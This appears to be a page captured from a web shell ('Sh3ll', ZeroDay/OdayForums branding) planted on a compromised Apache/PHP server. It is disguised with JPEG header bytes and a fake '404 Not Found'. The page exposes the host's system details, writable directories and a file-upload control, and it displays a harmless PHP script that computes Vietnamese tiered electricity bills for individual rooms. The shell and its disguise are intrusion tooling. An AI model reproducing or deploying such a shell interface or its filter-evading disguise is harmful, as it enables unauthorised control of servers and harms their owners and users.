ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/tiendien/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/tiendien/test.php
<?php
header('Content-Type: application/json');

// Biểu giá điện bậc thang
$electricityTiers = [
    ['limit' => 50,  'price' => 1984], // Bậc 1
    ['limit' => 50,  'price' => 2050], // Bậc 2
    ['limit' => 100, 'price' => 2380], // Bậc 3
    ['limit' => 100, 'price' => 2998], // Bậc 4
    ['limit' => 100, 'price' => 3350], // Bậc 5
    ['limit' => INF, 'price' => 3460]  // Bậc 6
];

const VAT_RATE = 0.08; // 8% VAT

/**
 * Tính tổng tiá»n Ä‘iện dá»±a trên tổng số kWh và biểu giá bậc thang.
 *
 * @param float $kwh Tổng số kWh tiêu thụ.
 * @param array $tiers Mảng biểu giá điện.
 * @return float Tổng tiá»n Ä‘iện (chưa VAT).
 */
function calculateGrandTotalBillPreTax($kwh, $tiers) {
    if (!is_numeric($kwh) || $kwh < 0) {
        return 0;
    }
    $kwh = floatval($kwh);
    $totalCost = 0;
    $remainingKwh = $kwh;

    foreach ($tiers as $tier) {
        if ($remainingKwh <= 0) {
            break;
        }
        $kwhInThisTier = min($remainingKwh, $tier['limit']);
        $totalCost += $kwhInThisTier * $tier['price'];
        $remainingKwh -= $kwhInThisTier;
    }
    return $totalCost;
}

$response = ['room_costs' => []];
$kwhValuesFromPost = [];

if (isset($_POST['so_dien_phong']) && is_array($_POST['so_dien_phong'])) {
    foreach ($_POST['so_dien_phong'] as $val) {
        $kwh = filter_var($val, FILTER_VALIDATE_FLOAT);
        $kwhValuesFromPost[] = ($kwh !== false && $kwh >= 0) ? $kwh : 0;
    }

    if (!empty($kwhValuesFromPost)) {
        $totalKwhAllRooms = array_sum($kwhValuesFromPost);
        // Tính tổng hóa đơn (chưa VAT) dựa trên tổng lượng tiêu thụ của tất cả các phòng
        $grandTotalBillPreTax = calculateGrandTotalBillPreTax($totalKwhAllRooms, $electricityTiers);

        $calculatedRoomCosts = [];
        foreach ($kwhValuesFromPost as $individualKwh) {
            $roomCostPreTax = 0;
            $roomCostPostTax = 0;

            if ($totalKwhAllRooms > 0) {
                // Phân bổ chi phí trước thuế cho từng phòng dựa trên tỷ lệ tiêu thụ
                $roomCostPreTax = ($individualKwh / $totalKwhAllRooms) * $grandTotalBillPreTax;
                // Tính VAT cho phòng này
                $vatAmountForRoom = $roomCostPreTax * VAT_RATE;
                // Tiá»n phòng sau thuế
                $roomCostPostTax = $roomCostPreTax + $vatAmountForRoom;
            }

            $calculatedRoomCosts[] = [
                'pre_tax' => round($roomCostPreTax),
                'post_tax' => round($roomCostPostTax)
            ];
        }
        $response['room_costs'] = $calculatedRoomCosts;
    }
}

echo json_encode($response);
exit;
?>

ZeroDay Forums Mini